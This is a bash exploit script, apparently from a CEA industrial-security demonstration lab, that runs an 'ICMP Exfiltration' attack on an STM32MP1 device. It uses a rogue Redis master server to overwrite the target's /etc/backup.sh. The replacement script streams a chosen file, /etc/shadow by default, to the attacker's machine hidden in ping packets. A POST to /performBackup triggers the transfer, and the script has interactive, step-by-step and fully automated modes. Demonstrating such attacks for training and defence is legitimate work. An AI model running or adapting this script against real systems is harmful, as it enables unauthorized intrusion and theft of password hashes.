#!/bin/bash
# Copyright (C) 2025 CEA - All Rights Reserved
# 
# This program is free software: you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation, either version 3 of the License, or (at your option) any later
# version.
# 
# This program is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of  MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE. See the GNU General Public License for more details.
# 
# You should have received a copy of the GNU General Public License along with
# this program.  If not, see <http://www.gnu.org/licenses/>.


# 1) UTILITY FUNCTIONS
# This section contains utility functions that assist with various tasks in the attack process

# Function to request necessary information for performing the attack
get_attack_info(){
	read -p "[+] Please enter the STM32MP1 IP address : " target_ip_address
	while ! (ping -c 1 -W 2 $target_ip_address > /dev/null 2>&1) 
	do
		echo ""
		echo "[!] Invalid IP address or host unreachable"
		read -p "[+] Please enter the STM32MP1 IP address : " target_ip_address
	done

	echo ""
	read -p "[+] Please enter the Redis server password (default: coconut): " redis_password
	redis_password=${redis_password:-coconut}

	echo ""
	read -p "[+] Please enter the full path to the file you want to exfiltrate from the target system (default: /etc/shadow): " target_file
	target_file=${target_file:-/etc/shadow}

	local_ip=$(ip route get $target_ip_address | grep -oP 'src \K[\d.]+')
	interface=$(ip route get $target_ip_address | grep -oP 'dev \K\w+')

cat << EOF > modified_backup.sh
#!/bin/bash
xxd -p -c 1 "$target_file" | while read line; do ping -c 1 -p \$line $local_ip; done
EOF
}

# Function to handle the initialization phase of the attack
prepare_attack(){
	echo "[+] Injecting attack payload into the target system..."
	python3 redis-rogue-server.py --lhost $local_ip --rhost $target_ip_address --passwd "$redis_password"
	echo ""
}

# Function to execute the entire attack process
run_attack(){
	echo "[+] Starting ICMP packet sniffing..."
	python3 icmp_listener.py $target_ip_address $interface &
	pid_icmp=$!

	sleep 2
	echo "[+] Initiating file exfiltration..."
	curl -X POST http://$target_ip_address:$SENSOR_WEBSERVER_PORT/performBackup > /dev/null

	kill -9 $pid_icmp
	echo ""
	echo "[+] File exfiltration complete. The exfiltrated file has been saved as 'exfiltrated_file.txt'."
}



# 2) ATTACK MODES
# This section defines different attack modes, alowing either user interaction or full automation.

# Function to guide the user through each step of the ICMP exfiltration attack
attack_step_by_step(){
	echo ""
	echo "======== STEP 1 : Configure Attack Parameters ========"
	echo ""
	echo "[+] First, we need to gather the essential information to set up the attack."
	get_attack_info

	echo ""
	echo "======== STEP 2 : Inject Payload ========"
	echo ""
    echo "[+] We will now overwrite the backup script on the target system."
    echo "[+] This will be achieved by running a fake Redis server on your local machine and modifying the target's Redis configuration to set your machine as the master server."
    echo "[+] The target's Redis server will synchronize with your local server."
    echo "[+] This synchronization process will allow us to overwrite the /etc/backup.sh script on the target."
	echo "[+] The modified backup script will enable file exfiltration via the ICMP protocol."
    echo "[+] Press ENTER to perform the payload injection..."
	read -n 1 wait

	echo "[+] We are now running the rogue Redis server. Please wait until the injection is finished"
	python3 redis-rogue-server.py --lhost $local_ip --rhost $target_ip_address --passwd "$redis_password" 

	echo ""
	echo "======== STEP 3 : Start ICMP Listener ========"
	echo ""
    echo "[+] Payload injection is complete."
    echo "[+] Now, we will run a Python script to listen for the ICMP packets and reconstruct the exfiltrated file."
	echo "[+] Press ENTER to start the ICMP listener..."
	read -n 1 wait

	python3 icmp_listener.py $target_ip_address $interface &
	pid_icmp=$!

	echo ""
	echo "======== STEP 4 : Trigger File Exfiltration ========"
	echo ""
    echo "[+] The exfiltration process is ready to begin."
    echo "[+] Next, we will send a POST request to trigger the backup mechanism on the target system."
	echo "[+] This action will initiate the file exfiltration process."
	echo "[+] Press ENTER to proceed with the attack..."
	read -n 1 wait

	curl -X POST http://$target_ip_address:$SENSOR_WEBSERVER_PORT/performBackup > /dev/null
	kill -9 $pid_icmp

	echo ""
	echo "[+] File exfiltration complete. The exfiltrated file has been saved as 'exfiltrated_file.txt'."

	echo ""
	echo "[+] If you want to replay the attack with the non interactive mode, the command is :"
	echo -e "sudo ./exploit.sh -all ${target_ip_address} ${redis_password} \"${target_file}\" "
}

# Function to guide the user through necessary input and then run the attack without further explanation
attack_interactive(){
	get_attack_info

	echo ""
	prepare_attack

	run_attack
}

# Function to fully automate the attack process without user interaction
attack_automated(){
	local_ip=$(ip route get $target_ip_address | grep -oP 'src \K[\d.]+')
	interface=$(ip route get $target_ip_address | grep -oP 'dev \K\w+')

cat << EOF > modified_backup.sh
#!/bin/bash
xxd -p -c 1 "$target_file" | while read line; do ping -c 1 -p \$line $local_ip; done
EOF

    case $attack_phase in
        (-a|-all)
			prepare_attack
			run_attack
            ;;
        (-s|-setup)
            echo "[!] This attack does not have an setup phase."
			exit 1
            ;;
        (-p|-prepare)
            prepare_attack
            ;;
        (-e|-exploit)
            run_attack
            ;;
        (*)
            echo "[!] Invalid argument. Use -a|-all, -s|-setup, -p|-prepare, or e|-exploit."
            exit 1
    esac

	echo -e "\n======== END : ATTACK ENDED ========\n"
	exit 0
}



# 3) BEGINNING OF THE SCRIPT EXECUTION
# Main entry point of the script, handles initial checks and user options.

set -m

echo "=========================================================================================== " 
echo "	 _____ _____ __  __ _____    ______       __ _ _ _             _   _  "           
echo "	|_   _/ ____|  \/  |  __ \  |  ____|     / _(_) | |           | | (_)  "          
echo "	  | || |    | \  / | |__) | | |__  __  _| |_ _| | |_ _ __ __ _| |_ _  ___  _ __"  
echo "	  | || |    | |\/| |  ___/  |  __| \ \/ /  _| | | __| '__/ _' | __| |/ _ \| '_ \ "
echo "	 _| || |____| |  | | |      | |____ >  <| | | | | |_| | | (_| | |_| | (_) | | | | "
echo "	|_____\_____|_|  |_|_|      |______/_/\_\_| |_|_|\__|_|  \__,_|\__|_|\___/|_| |_| "
echo
echo "=========================================================================================== "                                                                        
                                                                 
echo ""
echo "[+] You are about to initiate a ICMP Exfiltration attack !"
echo "[+] The goal of this attack is to extract files from the target system via ICMP packets."
echo ""

# General configuration variables
SCRIPT_DIR="$(realpath "$(dirname "$0")")"
SENSOR_WEBSERVER_PORT=5000

cd "$SCRIPT_DIR/scripts/"

# Check if the script is run as root
if [ "$(id -u)" != "0" ]; then
   echo "[!] This script must be run as root because python requires root privileges to establish sockets." 1>&2
   echo "[!] Usage: sudo $0"
   exit 1
fi

# If script is executed with exactly 4 arguments, run the attack automatically with those arguments
if [ $# -eq 4 ]; then
	attack_phase=$1
	target_ip_address=$2
	redis_password=$3
	target_file=$4
	attack_automated
fi

# Main loop to choose between interactive or step-by-step attack mode
while true;
do
	read -p  "[+] Choose interactive mode ('i') or step by step mode ('s'): " attack_mode

	case $attack_mode in
		(i|I)
			attack_interactive
			break
			;;
		(s|S)
			attack_step_by_step
			break
			;;
		(*)
			echo -e "[!] Invalid option.\n"
			;;
	esac
done

echo -e "\n======== END : ATTACK ENDED ========\n"
exit 0